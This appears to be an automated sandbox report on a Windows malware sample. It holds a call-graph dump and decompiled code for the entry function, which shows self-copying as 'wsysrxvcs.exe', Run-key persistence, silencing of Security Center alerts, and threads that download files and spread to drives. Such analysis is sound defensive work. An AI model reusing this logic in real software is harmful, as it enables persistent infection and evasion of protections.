InterlockedIncrement 5826->5828 5827 40e0be 5866 40bcc0 5827->5866 5830 40e620 4 API calls 5828->5830 5830->5820 5833 40e0ef DeleteCriticalSection 5835 408b60 __aligned_recalloc_base 3 API calls 5833->5835 5834->5820 5835->5816 5837 4089f0 7 API calls 5836->5837 5838 40e9fb 5837->5838 5839 40ea08 GetSystemInfo InitializeCriticalSection CreateEventA 5838->5839 5845 40eb74 5838->5845 5840 40ea46 CreateIoCompletionPort 5839->5840 5841 40eb6f 5839->5841 5840->5841 5842 40ea5f 5840->5842 5843 40dfd0 36 API calls 5841->5843 5844 40b9e0 8 API calls 5842->5844 5843->5845 5846 40ea64 5844->5846 5845->5812 5846->5841 5847 40ea6f WSASocketA 5846->5847 5847->5841 5848 40ea8d setsockopt htons bind 5847->5848 5848->5841 5849 40eaf6 listen 5848->5849 5849->5841 5850 40eb0a WSACreateEvent 5849->5850 5850->5841 5851 40eb17 WSAEventSelect 5850->5851 5851->5841 5855 40eb29 5851->5855 5852 40eb4f 5854 40ba90 17 API calls 5852->5854 5853 40ba90 17 API calls 5853->5855 5856 40eb64 5854->5856 5855->5852 5855->5853 5856->5812 5858 40bbb6 InterlockedExchangeAdd 5857->5858 5859 40bc99 GetCurrentThread SetThreadPriority 5857->5859 5858->5859 5860 40bbd0 5858->5860 5859->5827 5860->5859 5861 40bbe9 EnterCriticalSection 5860->5861 5862 40bc57 LeaveCriticalSection 5860->5862 5863 40bc33 WaitForSingleObject 5860->5863 5864 40bc6e 5860->5864 5865 40bc8c Sleep 5860->5865 5861->5860 5862->5860 5862->5864 5863->5860 5864->5859 5865->5860 5867 40bd42 CloseHandle CloseHandle WSACloseEvent 5866->5867 5868 40bccc EnterCriticalSection 5866->5868 5875 4094f0 shutdown closesocket 5867->5875 5869 40bce8 5868->5869 5870 40bd10 LeaveCriticalSection DeleteCriticalSection 5869->5870 5871 40bcfb CloseHandle 5869->5871 5872 408b60 __aligned_recalloc_base 3 API calls 5870->5872 5871->5869 5873 40bd36 5872->5873 5874 408b60 __aligned_recalloc_base 3 API calls 5873->5874 5874->5867 5875->5833 5876 40b790 5879 40b794 5876->5879 5877 409b70 5 API calls 5877->5879 5878 40b7b0 WaitForSingleObject 5878->5879 5881 40b7d5 5878->5881 5879->5877 5879->5878 5880 40b5f0 132 API calls 5879->5880 5879->5881 5880->5879 5306 40ebd8 5307 40ebe0 5306->5307 5309 40ec94 5307->5309 5312 40ee1d 5307->5312 5311 40ec19 5311->5309 5316 40ed08 RtlUnwind 5311->5316 5313 40ee32 5312->5313 5315 40ee4e 5312->5315 5314 40eebd NtQueryVirtualMemory 5313->5314 5313->5315 5314->5315 5315->5311 5317 40ed20 5316->5317 5317->5311 5318 405c60 5319 405cbf Sleep 5318->5319 5324 405cd6 5319->5324 5320 405d56 Sleep 5320->5319 5321 405cee Sleep wsprintfA 5325 40d330 InternetOpenA 5321->5325 5324->5320 5324->5321 5332 40d3e0 GetTickCount srand ExpandEnvironmentStringsW 5324->5332 5326 40d356 InternetOpenUrlA 5325->5326 5327 40d3c8 Sleep 5325->5327 5328 40d375 HttpQueryInfoA 5326->5328 5329 40d3be InternetCloseHandle 5326->5329 5327->5324 5330 40d3b4 InternetCloseHandle 5328->5330 5331 40d39e 5328->5331 5329->5327 5330->5329 5331->5330 5333 40d42e 5332->5333 5333->5333 5334 40d44c mbstowcs rand rand wsprintfW InternetOpenW 5333->5334 5335 40d650 InternetCloseHandle Sleep 5334->5335 5336 40d4e5 InternetOpenUrlW 5334->5336 5339 40d775 5335->5339 5340 40d677 6 API calls 5335->5340 5337 40d643 InternetCloseHandle 5336->5337 5338 40d514 CreateFileW 5336->5338 5337->5335 5341 40d543 InternetReadFile 5338->5341 5342 40d636 CloseHandle 5338->5342 5339->5324 5340->5339 5343 40d6f9 wsprintfW DeleteFileW Sleep 5340->5343 5344 40d596 CloseHandle wsprintfW DeleteFileW Sleep 5341->5344 5345 40d567 5341->5345 5342->5337 5346 40d0c0 20 API calls 5343->5346 5362 40d0c0 CreateFileW 5344->5362 5345->5344 5347 40d570 WriteFile 5345->5347 5349 40d739 5346->5349 5347->5341 5351 40d743 Sleep 5349->5351 5352 40d777 DeleteFileW 5349->5352 5355 40d280 5 API calls 5351->5355 5352->5339 5353 40d629 DeleteFileW 5353->5342 5354 40d5ed Sleep 5356 40d280 5 API calls 5354->5356 5357 40d75a 5355->5357 5358 40d604 5356->5358 5357->5339 5360 40d76d ExitProcess 5357->5360 5359 40d620 5358->5359 5361 40d618 ExitProcess 5358->5361 5359->5342 5363 40d213 5362->5363 5364 40d107 CreateFileMappingW 5362->5364 5365 40d219 CreateFileW 5363->5365 5366 40d26a 5363->5366 5367 40d128 MapViewOfFile 5364->5367 5368 40d209 CloseHandle 5364->5368 5371 40d261 5365->5371 5372 40d23b WriteFile CloseHandle 5365->5372 5366->5353 5366->5354 5369 40d147 GetFileSize 5367->5369 5370 40d1ff CloseHandle 5367->5370 5368->5363 5373 40d163 5369->5373 5374 40d1f5 UnmapViewOfFile 5369->5374 5370->5368 5375 408b60 __aligned_recalloc_base 3 API calls 5371->5375 5372->5371 5382 40b0d0 5373->5382 5374->5370 5375->5366 5378 40aa70 7 API calls 5379 40d1ae 5378->5379 5379->5374 5380 408b60 __aligned_recalloc_base 3 API calls 5379->5380 5381 40d1eb 5380->5381 5381->5374 5383 40ab60 10 API calls 5382->5383 5384 40b0f4 5383->5384 5384->5374 5384->5378 5385 40b7e0 5390 40e530 5385->5390 5387 40b7f5 5388 40e530 16 API calls 5387->5388 5389 40b813 5387->5389 5388->5389 5391 40e60b 5390->5391 5392 40e540 5390->5392 5391->5387 5392->5391 5393 4089f0 7 API calls 5392->5393 5394 40e568 5393->5394 5394->5391 5395 408bd0 8 API calls 5394->5395 5396 40e594 5395->5396 5397 40e5b0 5396->5397 5398 40e5a1 5396->5398 5410 40e4b0 WSASend 5397->5410 5399 408b60 __aligned_recalloc_base 3 API calls 5398->5399 5401 40e5a7 5399->5401 5401->5387 5402 40e5bd 5403 40e5c6 EnterCriticalSection 5402->5403 5404 40e5fc 5402->5404 5405 40e5e9 LeaveCriticalSection 5403->5405 5406 40e5dd 5403->5406 5407 408b60 __aligned_recalloc_base 3 API calls 5404->5407 5405->5387 5406->5405 5408 40e605 5407->5408 5409 408b60 __aligned_recalloc_base 3 API calls 5408->5409 5409->5391 5411 40e520 5410->5411 5412 40e4e2 WSAGetLastError 5410->5412 5411->5402 5412->5411 5413 40e4ef 5412->5413 5414 40e526 5413->5414 5415 40e4f6 Sleep WSASend 5413->5415 5414->5402 5415->5411 5415->5412 5416 404360 5417 404369 memset GetModuleHandleW 5416->5417 5418 4043a2 Sleep GetTickCount GetTickCount wsprintfW RegisterClassExW 5417->5418 5418->5418 5419 4043e0 CreateWindowExW 5418->5419 5420 40440b 5419->5420 5421 40440d GetMessageA 5419->5421 5424 40443f ExitThread 5420->5424 5422 404421 TranslateMessage DispatchMessageA 5421->5422 5423 404437 5421->5423 5422->5421 5423->5417 5423->5424 5425 405b60 5426 405b71 5425->5426 5427 405bc7 5425->5427 5428 405bc5 5426->5428 5431 405b80 StrChrA 5426->5431 5433 40d3e0 60 API calls 5426->5433 5427->5428 5429 40d3e0 60 API calls 5427->5429 5430 408b60 __aligned_recalloc_base 3 API calls 5428->5430 5429->5428 5432 405bf2 5430->5432 5431->5426 5434 405baf Sleep 5433->5434 5434->5426 5435 40ebe0 5436 40ebfe 5435->5436 5438 40ec94 5435->5438 5437 40ee1d NtQueryVirtualMemory 5436->5437 5440 40ec19 5437->5440 5439 40ed08 RtlUnwind 5439->5440 5440->5438 5440->5439 5441 40dde0 5443 40ddf7 5441->5443 5447 40de70 5441->5447 5442 40de07 5443->5442 5444 40de25 EnterCriticalSection 5443->5444 5445 40de5c LeaveCriticalSection DeleteCriticalSection 5444->5445 5449 40de3d 5444->5449 5446 408b60 __aligned_recalloc_base 3 API calls 5445->5446 5446->5447 5448 408b60 GetCurrentProcessId HeapValidate HeapFree __aligned_recalloc_base 5448->5449 5449->5448 5450 40de5b 5449->5450 5450->5445 5894 40bea0 5900 40d790 5894->5900 5896 40beb7 5897 40bee1 5896->5897 5898 40bec8 WaitForSingleObject 5896->5898 5899 40dbf0 8 API calls 5898->5899 5899->5897 5901 40d79e 5900->5901 5908 40d87e 5900->5908 5902 4089f0 7 API calls 5901->5902 5901->5908 5903 40d7ae CreateEventA socket 5902->5903 5904 40d7e5 5903->5904 5905 40d7ea 5903->5905 5906 40dbf0 8 API calls 5904->5906 5907 40d7f4 htons setsockopt bind 5905->5907 5905->5908 5906->5905 5909 40d864 CreateThread 5907->5909 5910 40d858 5907->5910 5908->5896 5909->5908 5911 40dbf0 8 API calls 5910->5911 5912 40d85d 5911->5912 5912->5896 5913 40e920 GetQueuedCompletionStatus 5914 40e962 5913->5914 5919 40e9d8 5913->5919 5915 40e967 WSAGetOverlappedResult 5914->5915 5920 40e730 5914->5920 5915->5914 5916 40e989 WSAGetLastError 5915->5916 5916->5914 5918 40e9a3 GetQueuedCompletionStatus 5918->5914 5918->5919 5921 40e8c2 InterlockedDecrement setsockopt closesocket 5920->5921 5922 40e744 5920->5922 5939 40e809 5921->5939 5922->5921 5923 40e74c 5922->5923 5940 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 5923->5940 5925 40e751 InterlockedExchange 5926 40e768 5925->5926 5927 40e81e 5925->5927 5930 40e779 InterlockedDecrement 5926->5930 5931 40e78c InterlockedDecrement InterlockedExchangeAdd 5926->5931 5926->5939 5928 40e837 5927->5928 5929 40e827 InterlockedDecrement 5927->5929 5932 40e842 5928->5932 5933 40e857 InterlockedDecrement 5928->5933 5929->5918 5930->5918 5936 40e7ff 5931->5936 5934 40e4b0 4 API calls 5932->5934 5935 40e8b9 5933->5935 5937 40e84e 5934->5937 5935->5918 5938 40e6c0 7 API calls 5936->5938 5937->5918 5938->5939 5939->5918 5940->5925 5451 405466 5455 405448 5451->5455 5452 405588 Sleep 5452->5455 5453 405479 5470 404bc0 5453->5470 5455->5452 5455->5453 5456 405598 ExitThread 5455->5456 5464 404c20 GetLogicalDrives 5455->5464 5459 4054b0 GetVolumeInformationW GetDiskFreeSpaceExW _aulldiv wsprintfW 5461 405526 wsprintfW 5459->5461 5462 40553b wsprintfW 5459->5462 5460 4054ab 5461->5462 5476 404f30 _chkstk 5462->5476 5469 404c4d 5464->5469 5465 404cc6 5465->5455 5466 404c5c RegOpenKeyExW 5467 404c7e RegQueryValueExW 5466->5467 5466->5469 5468 404cba RegCloseKey 5467->5468 5467->5469 5468->5469 5469->5465 5469->5466 5469->5468 5471 404c19 5470->5471 5472 404bdc 5470->5472 5471->5459 5471->5460 5511 404b40 GetDriveTypeW 5472->5511 5475 404c0b lstrcpyW 5475->5471 5477 404f47 5476->5477 5478 404f4e 6 API calls 5476->5478 5477->5460 5479 405002 5478->5479 5480 405044 PathFileExistsW 5478->5480 5516 40d070 CreateFileW 5479->5516 5482 4050c0 PathFileExistsW 5480->5482 5483 405055 PathFileExistsW 5480->5483 5487 4050d1 5482->5487 5488 405116 FindFirstFileW 5482->5488 5485 405066 CreateDirectoryW 5483->5485 5486 405088 PathFileExistsW 5483->5486 5485->5486 5490 405079 SetFileAttributesW 5485->5490 5486->5482 5491 405099 CopyFileW 5486->5491 5492 4050f1 5487->5492 5493 4050d9 5487->5493 5488->5477 5504 40513d 5488->5504 5489 405025 SetFileAttributesW DeleteFileW 5489->5480 5490->5486 5491->5482 5496 4050b1 SetFileAttributesW 5491->5496 5494 404ce0 3 API calls 5492->5494 5519 404ce0 CoInitialize CoCreateInstance 5493->5519 5498 4050ec SetFileAttributesW 5494->5498 5495 4051ff lstrcmpW 5499 405215 lstrcmpW 5495->5499 5495->5504 5496->5482 5498->5488 5499->5504 5501 4053d6 FindNextFileW 5501->5495 5502 4053f2 FindClose 5501->5502 5502->5477 5503 40525b lstrcmpiW 5503->5504 5504->5495 5504->5501 5504->5503 5505 4052c2 PathMatchSpecW 5504->5505 5506 405340 PathFileExistsW 5504->5506 5523 404df0 CreateDirectoryW wsprintfW FindFirstFileW 5504->5523 5505->5504 5507 4052e3 wsprintfW SetFileAttributesW DeleteFileW 5505->5507 5506->5504 5508 405356 wsprintfW wsprintfW 5506->5508 5507->5504 5508->5504 5509 4053c0 MoveFileExW 5508->5509 5509->5501 5512 404b7a 5511->5512 5513 404b68 5511->5513 5512->5471 5512->5475 5513->5512 5514 404b7c QueryDosDeviceW 5513->5514 5514->5512 5515 404b96 StrCmpNW 5514->5515 5515->5512 5517 40500e 5516->5517 5518 40d09f GetFileSize CloseHandle 5516->5518 5517->5480 5517->5489 5518->5517 5520 404d16 5519->5520 5522 404d52 5519->5522 5521 404d20 wsprintfW 5520->5521 5520->5522 5521->5522 5522->5498 5524 404e45 lstrcmpW 5523->5524 5525 404f1f 5523->5525 5526 404e71 5524->5526 5527 404e5b lstrcmpW 5524->5527 5525->5504 5529 404eec FindNextFileW 5526->5529 5527->5526 5528 404e73 wsprintfW wsprintfW 5527->5528 5528->5526 5531 404ed6 MoveFileExW 5528->5531 5529->5524 5530 404f08 FindClose RemoveDirectoryW 5529->5530 5530->5525 5531->5529 5532 405d66 ExitThread 5941 406529 5942 406532 5941->5942 5943 406541 34 API calls 5942->5943 5944 407376 5942->5944 5533 40d96f 5536 40d930 5533->5536 5534 40d99b memmove 5534->5536 5535 40d9ae 5536->5534 5536->5535 5537 40e2f0 GetTickCount WaitForSingleObject 5538 40e499 5537->5538 5539 40e31d WSAWaitForMultipleEvents 5537->5539 5540 40e3c0 GetTickCount 5539->5540 5541 40e33a WSAEnumNetworkEvents 5539->5541 5542 40e413 GetTickCount 5540->5542 5543 40e3d5 EnterCriticalSection 5540->5543 5541->5540 5556 40e353 5541->5556 5544 40e485 WaitForSingleObject 5542->5544 5545 40e41e EnterCriticalSection 5542->5545 5546 40e3e6 5543->5546 5547 40e40a LeaveCriticalSection 5543->5547 5544->5538 5544->5539 5549 40e471 LeaveCriticalSection GetTickCount 5545->5549 5550 40e42f InterlockedExchangeAdd 5545->5550 5553 40e3f9 LeaveCriticalSection 5546->5553 5587 40e1f0 5546->5587 5547->5544 5548 40e362 accept 5548->5540 5548->5556 5549->5544 5597 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 5550->5597 5553->5544 5555 40e442 5555->5549 5555->5550 5598 4094f0 shutdown closesocket 5555->5598 5556->5540 5556->5548 5559 40de80 5556->5559 5579 40e6c0 5556->5579 5560 40de92 EnterCriticalSection 5559->5560 5561 40de8d 5559->5561 5562 40debd LeaveCriticalSection 5560->5562 5563 40dea7 5560->5563 5561->5556 5564 40dec8 5562->5564 5565 40decf 5562->5565 5563->5562 5564->5556 5566 4089f0 7 API calls 5565->5566 5567 40ded9 5566->5567 5568 40dee6 getpeername CreateIoCompletionPort 5567->5568 5569 40df78 5567->5569 5571 40df72 5568->5571 5572 40df26 5568->5572 5601 4094f0 shutdown closesocket 5569->5601 5573 408b60 __aligned_recalloc_base 3 API calls 5571->5573 5599 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 5572->5599 5573->5569 5574 40df83 5574->5556 5576 40df2b InterlockedExchange InitializeCriticalSection InterlockedIncrement 5600 40dda0 EnterCriticalSection LeaveCriticalSection 5576->5600 5578 40df6b 5578->5556 5580 40e6d0 InterlockedExchangeAdd 5579->5580 5581 40e6cc 5579->5581 5582 40e723 5580->5582 5583 40e6e7 InterlockedIncrement 5580->5583 5581->5540 5582->5540 5602 40e620 WSARecv 5583->5602 5585 40e716 5585->5582 5586 40e71c InterlockedDecrement 5585->5586 5586->5582 5588 40e200 5587->5588 5595 40e2d1 5587->5595 5589 40e20d InterlockedExchangeAdd 5588->5589 5588->5595 5589->5595 5596 40e224 5589->5596 5590 40e250 5591 40e261 5590->5591 5617 4094f0 shutdown closesocket 5590->5617 5594 40e277 InterlockedDecrement 5591->5594 5591->5595 5594->5595 5595->5547 5596->5590 5596->5595 5608 40e170 EnterCriticalSection 5596->5608 5597->5555 5598->5555 5599->5576 5600->5578 5601->5574 5603 40e6a2 5602->5603 5604 40e65e 5602->5604 5603->5585 5605 40e660 WSAGetLastError 5604->5605 5606 40e674 Sleep WSARecv 5604->5606 5607 40e6ab 5604->5607 5605->5603 5605->5604 5606->5603 5606->5605 5607->5585 5609 40e1d7 LeaveCriticalSection 5608->5609 5610 40e18a InterlockedExchangeAdd 5608->5610 5609->5596 5611 40e19a LeaveCriticalSection 5610->5611 5612 40e1a9 5610->5612 5611->5596 5613 408b60 __aligned_recalloc_base 3 API calls 5612->5613 5614 40e1ce 5613->5614 5615 408b60 __aligned_recalloc_base 3 API calls 5614->5615 5616 40e1d4 5615->5616 5616->5609 5617->5591 5618 4047f0 5620 40478b 5618->5620 5619 408b60 __aligned_recalloc_base 3 API calls 5621 4047fb LeaveCriticalSection 5619->5621 5620->5619 5959 40bdb0 5960 40a100 118 API calls 5959->5960 5961 40bde8 5960->5961 5962 40c631 5964 40c63a 5962->5964 5963 40c72d 5964->5963 5965 40c6a3 lstrcmpiW 5964->5965 5966 40c723 SysFreeString 5965->5966 5967 40c6b6 5965->5967 5966->5963 5968 40c0f0 2 API calls 5967->5968 5970 40c6c4 5968->5970 5969 40c715 5969->5966 5970->5966 5970->5969 5971 40c6f3 lstrcmpiW 5970->5971 5972 40c705 5971->5972 5973 40c70b SysFreeString 5971->5973 5972->5973 5973->5969 5974 404a3c 5975 40493c 5974->5975 5978 408b60 __aligned_recalloc_base 3 API calls 5975->5978 5994 404a33 5975->5994 5976 404450 15 API calls 5981 404a5c 5976->5981 5977 408b60 __aligned_recalloc_base 3 API calls 5979 404a7d 5977->5979 5980 404992 5978->5980 5982 404a8c CreateFileW 5979->5982 5983 404b1e LeaveCriticalSection 5979->5983 5984 408bd0 8 API calls 5980->5984 5981->5977 5982->5983 5985 404aaf 5982->5985 5986 4049a2 5984->5986 5989 404b0a FlushFileBuffers CloseHandle 5985->5989 5990 404acc WriteFile 5985->5990 5987 408b60 __aligned_recalloc_base 3 API calls 5986->5987 5988 4049c9 5987->5988 5991 40aa70 7 API calls 5988->5991 5989->5983 5990->5985 5992 404a00 5991->5992 5993 405c00 10 API calls 5992->5993 5993->5994 5994->5976 5994->5981 5995 408c3e 5996 408b60 __aligned_recalloc_base 3 API calls 5995->5996 5999 408bfd 5996->5999 5997 408c12 5998 408a10 __aligned_recalloc_base 7 API calls 5998->5999 5999->5997 5999->5998 6000 408c14 memcpy 5999->6000 6000->5999

                                                                                                                                                                                                                                                                                                                                                      Executed Functions

                                                                                                                                                                                                                                                                                                                                                      Function 00405D80 Relevance: 147.5, APIs: 56, Strings: 28, Instructions: 469sleepfilesynchronizationCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 0 405d80-405db4 Sleep CreateMutexA GetLastError 1 405db6-405db8 ExitProcess 0->1 2 405dbe-405e43 GetModuleFileNameW PathFindFileNameW wsprintfW DeleteFileW ExpandEnvironmentStringsW 0->2 3 405e49-405e62 2->3 4 405e64-405e6c 3->4 5 405eaf-405eb4 3->5 7 405ea3-405ead 4->7 8 405e6e-405e89 4->8 6 405eba-405ecd 5->6 10 405ed3-405ede call 40cfe0 6->10 11 406136-406161 Sleep RegOpenKeyExA 6->11 7->6 8->5 9 405e8b-405ea1 8->9 9->3 9->7 18 405ee0-405ee2 ExitProcess 10->18 19 405ee8-405f36 ExpandEnvironmentStringsW wsprintfW CopyFileW 10->19 13 406167-406247 RegSetValueExA * 7 RegCloseKey 11->13 14 40624d-40626d RegOpenKeyExA 11->14 13->14 16 406273-406353 RegSetValueExA * 7 RegCloseKey 14->16 17 406359-40636e Sleep call 40b0b0 14->17 16->17 24 4064c3-4064cc 17->24 25 406374-4064c0 WSAStartup wsprintfW * 2 CreateThread Sleep CreateThread Sleep CreateThread Sleep call 404560 call 40cf10 call 405b10 CreateEventA call 40a7e0 call 40b9e0 call 409c30 call 40ba90 * 4 17->25 22 406015-406057 Sleep wsprintfW CopyFileW 19->22 23 405f3c-405f6b SetFileAttributesW RegOpenKeyExW 19->23 22->11 26 40605d-40608c SetFileAttributesW RegOpenKeyExW 22->26 27 405f71-405f86 23->27 28 405ff6-40600b call 40d280 23->28 25->24 30 406092-4060a7 26->30 31 406117-40612c call 40d280 26->31 33 405f8c-405fab 27->33 28->22 41 40600d-40600f ExitProcess 28->41 36 4060ad-4060cc 30->36 31->11 46 40612e-406130 ExitProcess 31->46 33->33 39 405fad-405ff0 RegSetValueExW RegCloseKey 33->39 36->36 43 4060ce-406111 RegSetValueExW RegCloseKey 36->43 39->28 43->31
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 96%
                                                                                                                                                                                                                                                                                                                                                      			_entry_() {
				short _v524;
				char _v528;
				int _v532;
				char _v1052;
				void* _v1056;
				char _v1580;
				short _v2100;
				short _v2620;
				void* _v2624;
				char _v3028;
				intOrPtr* _v3032;
				int _v3036;
				short _v3038;
				short _v3040;
				int _v3044;
				int _v3048;
				intOrPtr* _v3052;
				intOrPtr _v3056;
				short _v3058;
				signed int _v3064;
				intOrPtr* _v3068;
				intOrPtr _v3072;
				short _v3074;
				signed int _v3080;
				void* _t114;
				signed char _t185;
				signed char _t195;
				int _t204;
				short _t234;
				short _t264;
				void* _t265;
				void* _t266;
				void* _t273;

				Sleep(0x7d0); // executed
				_t114 = CreateMutexA(0, 0, "9998883922"); // executed
				_v2624 = _t114;
				if(GetLastError() != 0xb7) {
					_v1056 = 0;
					_v528 = 1;
					GetModuleFileNameW(0, 0x415290, 0x105);
					_v532 = PathFindFileNameW(0x415290);
					wsprintfW( &_v524, L"%s:Zone.Identifier", 0x415290);
					_t266 = _t265 + 0xc;
					DeleteFileW( &_v524);
					ExpandEnvironmentStringsW(L"%userprofile%",  &_v2620, 0x104);
					_v3032 = L"wsysrxvcs.exe";
					_v3036 = _v532;
					while(1) {
						_t204 = _v3036;
						_t234 =  *_t204;
						_v3038 = _t234;
						if(_t234 !=  *_v3032) {
							break;
						}
						if(_v3038 == 0) {
							L7:
							_v3044 = 0;
							L9:
							_v3048 = _v3044;
							if(_v3048 == 0) {
								L26:
								Sleep(0x1f4);
								if(RegOpenKeyExA(0x80000002, "SOFTWARE\\Microsoft\\Security Center", 0, 0x20006,  &_v1056) == 0) {
									RegSetValueExA(_v1056, "FirewallOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "FirewallDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "AntiSpywareOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "AntiVirusOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "AntiVirusDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "UpdatesOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "UpdatesDisableNotify", 0, 4,  &_v528, 4);
									RegCloseKey(_v1056);
								}
								if(RegOpenKeyExA(0x80000002, "SOFTWARE\\Microsoft\\Security Center\\Svc", 0, 0x20006,  &_v1056) == 0) {
									RegSetValueExA(_v1056, "FirewallOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "FirewallDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "AntiSpywareOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "AntiVirusOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "AntiVirusDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "UpdatesOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "UpdatesDisableNotify", 0, 4,  &_v528, 4);
									RegCloseKey(_v1056);
								}
								Sleep(0x1f4);
								if((E0040B0B0() & 0x000000ff) != 0) {
									__imp__#115(0x202,  &_v3028);
									wsprintfW(0x4154a0, L"%s\\tbnds.dat",  &_v2620);
									wsprintfW(0x414e80, L"%s\\tbcmds.dat",  &_v2620);
									CreateThread(0, 0, E00404360, 0, 0, 0);
									Sleep(0x3e8);
									CreateThread(0, 0, E00405410, 0, 0, 0);
									Sleep(0x3e8);
									CreateThread(0, 0, E00405C60, 0, 0, 0);
									Sleep(0x2710);
									E00404560();
									E00405B10(E0040CF10(),  &_v2620);
									 *0x4156c4 = CreateEventA(0, 1, 0, 0);
									 *0x4156cc = E0040A7E0( &_v2620);
									 *0x4156c8 = E0040B9E0( &_v2620);
									E00409C30();
									E0040BA90( *0x4156c8, 0, E0040BEA0, 0, 0, 0);
									E0040BA90( *0x4156c8, 0, E0040BE00, 0, 0, 0);
									E0040BA90( *0x4156c8, 0, E0040B990, 0, 0, 0);
									E0040BA90( *0x4156c8, 0, E0040B790, 0, 0, 0);
								}
								return 0;
							}
							if((E0040CFE0() & 0x000000ff) != 1) {
								ExpandEnvironmentStringsW(L"%windir%",  &_v2100, 0x104);
								wsprintfW( &_v1580, L"%s\\%s",  &_v2100, L"wsysrxvcs.exe");
								_t273 = _t266 + 0x10;
								if(CopyFileW(0x415290,  &_v1580, 0) == 0) {
									L19:
									Sleep(0x1f4);
									wsprintfW( &_v1052, L"%s\\%s",  &_v2620, L"wsysrxvcs.exe");
									_t266 = _t273 + 0x10;
									if(CopyFileW(0x415290,  &_v1052, 0) == 0) {
										goto L26;
									}
									SetFileAttributesW( &_v1052, 3);
									if(RegOpenKeyExW(0x80000001, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 0, 0x20006,  &_v1056) != 0) {
										L24:
										_t185 = E0040D280( &_v1052);
										_t266 = _t266 + 4;
										if((_t185 & 0x000000ff) != 1) {
											goto L26;
										}
										ExitProcess(0);
									}
									_v3068 =  &_v1052;
									_v3072 = _v3068 + 2;
									do {
										_v3074 =  *_v3068;
										_v3068 = _v3068 + 2;
									} while (_v3074 != 0);
									_v3080 = _v3068 - _v3072 >> 1;
									RegSetValueExW(_v1056, L"Windows Settings", 0, 1,  &_v1052, _v3080 + _v3080 + 2);
									RegCloseKey(_v1056);
									goto L24;
								}
								SetFileAttributesW( &_v1580, 3);
								if(RegOpenKeyExW(0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 0, 0x20006,  &_v1056) != 0) {
									L17:
									_t195 = E0040D280( &_v1580);
									_t273 = _t273 + 4;
									if((_t195 & 0x000000ff) != 1) {
										goto L19;
									}
									ExitProcess(0);
								}
								_v3052 =  &_v1580;
								_v3056 = _v3052 + 2;
								do {
									_v3058 =  *_v3052;
									_v3052 = _v3052 + 2;
								} while (_v3058 != 0);
								_v3064 = _v3052 - _v3056 >> 1;
								RegSetValueExW(_v1056, L"Windows Settings", 0, 1,  &_v1580, _v3064 + _v3064 + 2);
								RegCloseKey(_v1056);
								goto L17;
							}
							ExitProcess(0);
						}
						_t204 = _v3036;
						_t264 =  *((intOrPtr*)(_t204 + 2));
						_v3040 = _t264;
						_t19 = _v3032 + 2; // 0x790073
						if(_t264 !=  *_t19) {
							break;
						}
						_v3036 = _v3036 + 4;
						_v3032 = _v3032 + 4;
						if(_v3040 != 0) {
							continue;
						}
						goto L7;
					}
					asm("sbb ecx, ecx");
					asm("sbb ecx, 0xffffffff");
					_v3044 = _t204;
					goto L9;
				}
				ExitProcess(0); // executed
			}




































                                                                                                                                                                                                                                                                                                                                                      0x00405d8e
                                                                                                                                                                                                                                                                                                                                                      0x00405d9d
                                                                                                                                                                                                                                                                                                                                                      0x00405da3
                                                                                                                                                                                                                                                                                                                                                      0x00405db4
                                                                                                                                                                                                                                                                                                                                                      0x00405dbe
                                                                                                                                                                                                                                                                                                                                                      0x00405dc8
                                                                                                                                                                                                                                                                                                                                                      0x00405dde
                                                                                                                                                                                                                                                                                                                                                      0x00405def
                                                                                                                                                                                                                                                                                                                                                      0x00405e06
                                                                                                                                                                                                                                                                                                                                                      0x00405e0c
                                                                                                                                                                                                                                                                                                                                                      0x00405e16
                                                                                                                                                                                                                                                                                                                                                      0x00405e2d
                                                                                                                                                                                                                                                                                                                                                      0x00405e33
                                                                                                                                                                                                                                                                                                                                                      0x00405e43
                                                                                                                                                                                                                                                                                                                                                      0x00405e49
                                                                                                                                                                                                                                                                                                                                                      0x00405e49
                                                                                                                                                                                                                                                                                                                                                      0x00405e4f
                                                                                                                                                                                                                                                                                                                                                      0x00405e52
                                                                                                                                                                                                                                                                                                                                                      0x00405e62
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405e6c
                                                                                                                                                                                                                                                                                                                                                      0x00405ea3
                                                                                                                                                                                                                                                                                                                                                      0x00405ea3
                                                                                                                                                                                                                                                                                                                                                      0x00405eba
                                                                                                                                                                                                                                                                                                                                                      0x00405ec0
                                                                                                                                                                                                                                                                                                                                                      0x00405ecd
                                                                                                                                                                                                                                                                                                                                                      0x00406136
                                                                                                                                                                                                                                                                                                                                                      0x0040613b
                                                                                                                                                                                                                                                                                                                                                      0x00406161
                                                                                                                                                                                                                                                                                                                                                      0x00406180
                                                                                                                                                                                                                                                                                                                                                      0x0040619f
                                                                                                                                                                                                                                                                                                                                                      0x004061be
                                                                                                                                                                                                                                                                                                                                                      0x004061dd
                                                                                                                                                                                                                                                                                                                                                      0x004061fc
                                                                                                                                                                                                                                                                                                                                                      0x0040621b
                                                                                                                                                                                                                                                                                                                                                      0x0040623a
                                                                                                                                                                                                                                                                                                                                                      0x00406247
                                                                                                                                                                                                                                                                                                                                                      0x00406247
